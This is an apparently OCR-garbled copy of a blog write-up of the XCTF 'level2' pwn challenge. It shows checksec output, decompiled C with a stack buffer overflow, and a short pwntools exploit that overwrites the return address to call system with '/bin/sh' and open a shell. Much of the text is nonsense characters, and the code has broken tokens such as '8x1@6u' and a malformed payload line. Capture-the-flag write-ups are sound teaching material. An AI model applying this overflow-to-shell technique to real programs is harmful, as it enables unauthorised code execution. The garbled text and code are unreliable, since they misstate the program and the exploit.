level2(xctf)

whiteh4nd F 2020-05-06 23:03:03 K Afi 444 g

PILH: # xctf(pwn# T1X) CTF

FRALE B A RGNS E, 45.CC 4.0 BY-SA FRALHMIL, HE 4 I b 5 ST AL BERE AN AR 7 B
ASCHERE: https://blog.csdn.net/weixin43868725/article/details/105962055

FERAL

v
xctf(pwnif F[X) [F]f g 2 A~ L2l

10 f& S 0 1T
VTR E A

= CTF

41 F3CE 0 1T

T bR
0x0 F2 /v R 37 I A%
s

[*] '/home/whitehand/Desktop/a’
Arch: i386-32-1little
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NX:
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int _ cdecl main(int argc, const char **argv, const char **envp)

{

wvulnerable_function();
system("eche 'Hello World!'");
return 8;

}

vulnerable_function()
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ssize_t vulnerable functior])

1
char buf; // [esp+@h] [ebp-88h]
system({"echo Input:");
return read(@, &uf, 8x1@6u);

}
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0x2 exp

from pwn import

bin_sh_addr=0x0804A024
sh.recv()
payload (0x88+4)+p32(system_plt)+p32(0)+p32(bin_sh_addr)

sh.sendline(payload)

sh.interactive()




	level2(xctf)
	0x0 程序保护和流程
	0x1 利用过程
	0x2 exp


